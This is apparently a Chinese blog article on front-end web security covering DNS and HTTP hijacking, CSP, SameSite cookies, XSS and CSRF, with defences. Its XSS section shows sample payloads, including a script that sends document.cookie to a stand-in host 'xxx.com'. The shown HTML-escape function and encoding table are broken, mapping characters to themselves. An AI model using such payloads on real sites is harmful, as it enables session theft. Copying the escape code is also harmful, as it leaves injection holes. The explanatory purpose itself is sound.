前言:随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP(内容安全策略)、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。
网络(DNS、HTTP)劫持
表现
-
打开一个正常的网站,电脑的右下角会弹出一些小广告;
-
打开一个下载链接,并不是自己所需要的东西;
-
浏览器输入一个网址后回车网页跳转到其他网址的页面。
原理
-
DNS 劫持
-
浏览器缓存(强缓存、协商缓存)
-
操作系统域名缓存
-
本地 hosts 文件
-
域名服务器(根域名服务器缓存,顶级域名服务器缓存,权威域名服务器缓存)
-
-
商场、酒店WIFI,经过路由器时劫持
-
运营商劫持
办法
-
对于用户来说,最直接的办法就是投诉运营商;
-
在html 上加上
<meta http-equiv="Cache-Control" content="no-siteapp"> <meta http-equiv="Cache-Control" content="no-transform " />
; -
使用HTTPS,通过 TLS/SSL 来对数据加密;
-
在开发的网页中加入代码过滤,大概思路就是用JavaScript代码检查所有的外链是否属于白名单。
非法调用 API
前后端分离时接口暴露出来,为了防止被非法调用,就要做一些措施保证接口的安全性。
办法
-
HTTPS 可以防止90%的请求截获;
-
token 有效期可降低风险
-
重要业务流程(如:转账),可设置二次验证(如:验证指纹或短信验证码)
CSP(内容安全策略)
CSP 的主要目标是减少和报告 XSS 攻击,通常通过 HTTP 头信息或者 meta 元素定义策略。
开启 CSP ,设置HTTP Header 中的 Content-Security-Policy
或者设置 meta
标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
弊端
导致Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。
eval("x=10;y=20;document.write(x*y)");
Same-Site Cookies
通过 Cookie 的SameSite
属性用来限制第三方 Cookie,从而防止 CSRF 攻击和用户追踪。
Set-Cookie: name=value; HttpOnly;
XSS
-
跨站脚本攻击(Cross-Site Scripting)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
-
为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS,X有未知的意思。
-
XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。
<script>alert(document.cookie);</script>
<script> new Image().src="http://xxx.com?cookie="+ document.cookie; </script>
网址URL中特殊字符转义编码
字符 | URL编码值 |
---|---|
& | & |
< | < |
> | > |
" | " |
' | ' |
/ | / |
// HTML 转义
function htmlEscape(text){
return text.replace(/[<>‘&\/]/g, function(match, pos, originalText){
switch(match){
case "<": return "<";
case ">":return ">";
case "&":return "&";
case "\"":return """;
case "\'":return "'";
case "/":return "/";
}
});
}
分类
类型 | 存储区 | 插入点 | 常见 |
---|---|---|---|
存储型 XSS | 后端数据库 | HTML | 论坛发帖、商品评论、用户私信等 |
反射型 XSS | URL | HTML | 网站搜索、(引导)点击跳转等 |
DOM 型 XSS | 后端数据库/前端存储/URL | 前端 JavaScript |
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
储存型:
localStorage.xss=alert('XSS')
<script>eval(localStorage.xss)</script>
反射型:https://www.xxx.com/product/search?kw=%3Cscript%3Ealert(document.cookie);%3C/script%3E
DOM型:
file:///Users/lc/Desktop/xss/index.html#alert(111)
<script>eval(location.hash.substr(1))</script>
预防
-
输入过滤
-
过滤或移除特殊的 HTML 标签、 JavaScript 事件,如
<script>
、<iframe>
、onclick
、onfoucs
等,防止 HTML 中出现注入,指定黑名单 -
限制输入长度,指定(只能输入字母、数字、下划线等)白名单
-
-
输出编码
- 对 HTML 做充分转义
-
加强
-
设置
http-only
禁用js获取 cookie -
token 验证
-
开启 CSP
-
插件
JS、nodeJS:https://github.com/leizongmin/js-xss
JAVA:https://gitee.com/mirrors_naver/lucy-xss-filter
CSRF
-
CSRF(Cross-site request forgery,跨站请求伪造)
-
如果用户已经登录网站 A,并在本地生成Cookie,如果此时访问危险网站 B(网站 A 未关闭),就会被CSRF攻击。攻击者会以用户的名义发送邮件、购物、转账、删除用户信息等操作
防御
- POST 请求,但可以通过表单绕过,需要配合token
- (短信、拼图等)验证码
- Referer 验证,只接受本站的请求(后端判断),弊端:可篡改 Referer
- Token 验证,把 token 放在请求参数中
- 隐藏令牌,把 token 隐藏在 http 的 header头中
小游戏
参考文档/视频
https://juejin.cn/post/6844903689702866952
https://juejin.cn/post/6844903685122703367
网友评论